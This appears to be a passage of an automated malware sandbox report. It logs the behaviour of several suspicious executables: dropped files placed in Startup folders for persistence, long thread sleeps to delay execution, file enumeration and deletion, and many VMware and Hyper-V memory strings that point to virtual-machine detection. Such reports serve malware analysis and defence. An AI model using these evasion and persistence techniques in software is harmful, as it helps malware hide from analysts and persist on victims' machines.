Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\._cache_2.exe	Memory allocated: 70F0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\._cache_2.exe	Memory allocated: 3600000 memory reserve \| memory write watch

Source: C:\Program Files (x86)\3.exe	Window / User API: threadDelayed 9511
Source: C:\Windows\cbas.exe	Window / User API: threadDelayed 9942
Source: C:\Windows\splwow64.exe	Window / User API: threadDelayed 4194

Source: C:\ProgramData\Synaptics\Synaptics.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RCXF081.tmp	Jump to dropped file
Source: C:\Program Files (x86)\4.exe	Dropped PE file which has not been started: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	Jump to dropped file
Source: C:\Windows\wic.exe	Dropped PE file which has not been started: C:\Windows\msslac.dll	Jump to dropped file
Source: C:\Program Files (x86)\4.exe	Dropped PE file which has not been started: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe	Jump to dropped file
Source: C:\Windows\wic.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\msslac[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\._cache_1.exe	API coverage: 5.5 %
Source: C:\Windows\wic.exe	API coverage: 4.2 %

Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7348	Thread sleep count: 225 > 30	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7348	Thread sleep time: -13500000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 11172	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\3.exe TID: 4300	Thread sleep count: 146 > 30
Source: C:\Program Files (x86)\3.exe TID: 4300	Thread sleep time: -146000s >= -30000s
Source: C:\Program Files (x86)\3.exe TID: 7068	Thread sleep count: 39 > 30
Source: C:\Program Files (x86)\3.exe TID: 7480	Thread sleep count: 37 > 30
Source: C:\Program Files (x86)\3.exe TID: 4300	Thread sleep count: 9511 > 30
Source: C:\Program Files (x86)\3.exe TID: 4300	Thread sleep time: -9511000s >= -30000s
Source: C:\Windows\cbas.exe TID: 6372	Thread sleep count: 9942 > 30
Source: C:\Windows\cbas.exe TID: 6372	Thread sleep time: -19884000s >= -30000s

Source: C:\Program Files (x86)\3.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\3.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_0040A2B0 GetDesktopWindow,FindFirstFileA,FileTimeToSystemTime,realloc,FindNextFileA,FindClose,qsort,SetFileAttributesA,SetFileAttributesA,DeleteFileA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,free,	4_2_0040A2B0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_00407D50 SendMessageA,FindFirstFileA,realloc,FindNextFileA,FindClose,SetFileAttributesA,DeleteFileA,??3@YAXPAX@Z,free,Sleep,	4_2_00407D50
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E0BA94 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	10_2_00E0BA94
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E1D420 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	10_2_00E1D420
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E2C508 FindFirstFileExA,	10_2_00E2C508
Source: C:\Windows\wic.exe	Code function: 12_2_0091E027 __EH_prolog3_GS,GetFullPathNameA,__cftof,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,_strlen,	12_2_0091E027

Source: C:\Program Files (x86)\4.exe

Code function: 10_2_00E1F82F VirtualQuery,GetSystemInfo,

10_2_00E1F82F

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000

Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: Amcache.hve.26.dr	Binary or memory string: VMware
Source: ._cache_2.exe, 00000009.00000003.2840802091.000000000E345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-
Source: ._cache_2.exe, 00000009.00000003.2939979285.000000000E363000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}kk
Source: ._cache_2.exe, 00000009.00000003.2939702970.000000000E3CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Amcache.hve.26.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ._cache_2.exe, 00000009.00000003.3570733177.000000000E363000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\c5C
Source: file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1482825479.0000000000776000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1482793822.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1588506794.0000000000763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006CC000.00000004.00000020.00020000.00000000.sdmp, wic.exe, 0000000C.00000002.1631880338.00000000005BF000.00000004.00000020.00020000.00000000.sdmp, wic.exe, 0000000C.00000003.1611024223.000000000060A000.00000004.00000020.00020000.00000000.sdmp, wic.exe, 0000000C.00000003.1631443433.000000000060A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ._cache_2.exe, 00000009.00000003.2939702970.000000000E3CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Amcache.hve.26.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: ._cache_2.exe, 00000009.00000003.3570733177.000000000E363000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\T1
Source: Amcache.hve.26.dr	Binary or memory string: vmci.sys
Source: ._cache_2.exe, 00000009.00000003.3570733177.000000000E363000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}4e9
Source: ._cache_2.exe, 00000009.00000003.3570822318.000000000E321000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}++
Source: ._cache_2.exe, 00000009.00000003.2840802091.000000000E345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Amcache.hve.26.dr	Binary or memory string: VMware20,1
Source: Synaptics.exe, 00000005.00000002.3771674892.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: user-PC\userSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0A<
Source: ._cache_2.exe, 00000009.00000003.2939979285.000000000E363000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: om&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&00000
Source: Amcache.hve.26.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.26.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.26.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: ._cache_2.exe, 00000009.00000003.3402339041.000000000E321000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\E
Source: Amcache.hve.26.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: ._cache_2.exe, 00000009.00000003.2152805554.000000000E321000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: Amcache.hve.26.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.26.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: ._cache_2.exe, 00000009.00000003.3570733177.000000000E345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}11V
Source: Amcache.hve.26.dr	Binary or memory string: VMware VMCI Bus Device
Source: ._cache_2.exe, 00000009.00000003.3402378188.000000000E378000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: ._cache_2.exe, 00000009.00000003.2840599703.000000000E3DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}{
Source: Amcache.hve.26.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.26.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: ._cache_2.exe, 00000009.00000003.3570733177.000000000E363000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: ._cache_2.exe, 00000009.00000003.2939702970.000000000E3CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}t
Source: ._cache_2.exe, 00000009.00000003.3570733177.000000000E363000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ef
Source: ._cache_2.exe, 00000009.00000003.2939702970.000000000E3CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.26.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: ._cache_2.exe, 00000009.00000003.3570822318.000000000E321000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Prod_VMware_SATA_CD00#4&224f
Source: Amcache.hve.26.dr	Binary or memory string: VMware Virtual USB Mouse
Source: ._cache_2.exe, 00000009.00000003.2602416675.000000000E32E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.26.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.26.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.26.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.26.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.26.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.26.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.26.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: ._cache_2.exe, 00000009.00000003.1736454712.000000000E364000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Wuom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&00000
Source: Amcache.hve.26.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.26.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ._cache_1.exe, 00000004.00000003.1536335641.00000000006CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 1.exe, 00000003.00000003.1494596220.0000000000757000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ia
Source: ._cache_2.exe, 00000009.00000003.3570822318.000000000E321000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ECVMWar&Prod_VMware_SATA_CD00#4&224f`
Source: ._cache_2.exe, 00000009.00000003.2939979285.000000000E363000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: ._cache_2.exe, 00000009.00000003.2939702970.000000000E3CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}3
Source: ._cache_2.exe, 00000009.00000003.3107796056.000000000E3CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: ._cache_2.exe, 00000009.00000003.3402378188.000000000E378000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.26.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.26.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: ._cache_2.exe, 00000009.00000003.3570872496.000000000E34C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_
Source: Amcache.hve.26.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.26.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: ._cache_2.exe, 00000009.00000003.2939979285.000000000E363000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: ._cache_2.exe, 00000009.00000003.3570872496.000000000E34C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}11V
Source: ._cache_2.exe, 00000009.00000003.2939903594.000000000E3DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}{
Source: ._cache_2.exe, 00000009.00000003.2939903594.000000000E3DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d
